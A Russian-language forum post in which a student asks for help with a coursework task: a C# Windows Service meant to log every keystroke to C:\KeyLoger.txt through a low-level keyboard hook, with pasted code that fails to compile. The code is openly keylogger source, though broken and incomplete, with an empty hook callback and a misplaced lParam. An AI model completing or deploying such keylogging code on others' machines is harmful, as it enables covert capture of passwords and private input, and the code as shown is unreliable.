Господа помогите.....мозг взорван
курсовую завтра сдавать....Пытаюсь написать Windows Service на C# который при старте будет писать в файл нажатые кнопки на клаве, по заданию обязатель нужно использовать ХУК....
ХУК РАБОТАЕТ В ОТДЕЛЬНОЙ ПРОГЕ!!!!!!!!
При построении сервиса у меня ошибку выдаёт:
Error 3 The name 'lParam' does not exist in the current context C:\Documents and Settings\ДОМ\Мои документы\Visual Studio 2008\Projects\MyService\MyService\S ervice1.cs 98(строка) 44 MyService
ВОТ МОЙ СЕРВИС:
Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
namespace MyService
{
public partial class MyService : ServiceBase
{
public MyService()
{
InitializeComponent();
System.IO.StreamWriter file;
System.Timers.Timer timer1;
timer1 = new System.Timers.Timer();
file = new StreamWriter(new FileStream("C:\\KeyLoger.txt", System.IO.FileMode.Append));
}
public class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static void Main()
{
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
protected override void OnStart(string[] args)
{
System.IO.StreamWriter file;
System.Timers.Timer timer1;
timer1 = new System.Timers.Timer();
file = new StreamWriter(new FileStream("C:\\KeyLoger.txt", System.IO.FileMode.Append));
int vkCode = Marshal.ReadInt32(lParam);
file.WriteLine(DateTime.Now.ToString("dd.MM.yyyy HH:mm:ss || YOU PRESS ----> ") + (Keys)vkCode);
file.Flush();
}
private StreamWriter FileStream(string p, FileMode fileMode)
{
throw new NotImplementedException();
}
protected override void OnStop()
{
System.IO.StreamWriter file;
file = FileStream("C:\\KeyLoger.txt", System.IO.FileMode.Append);
file.Flush();
file.Close();
}
}
}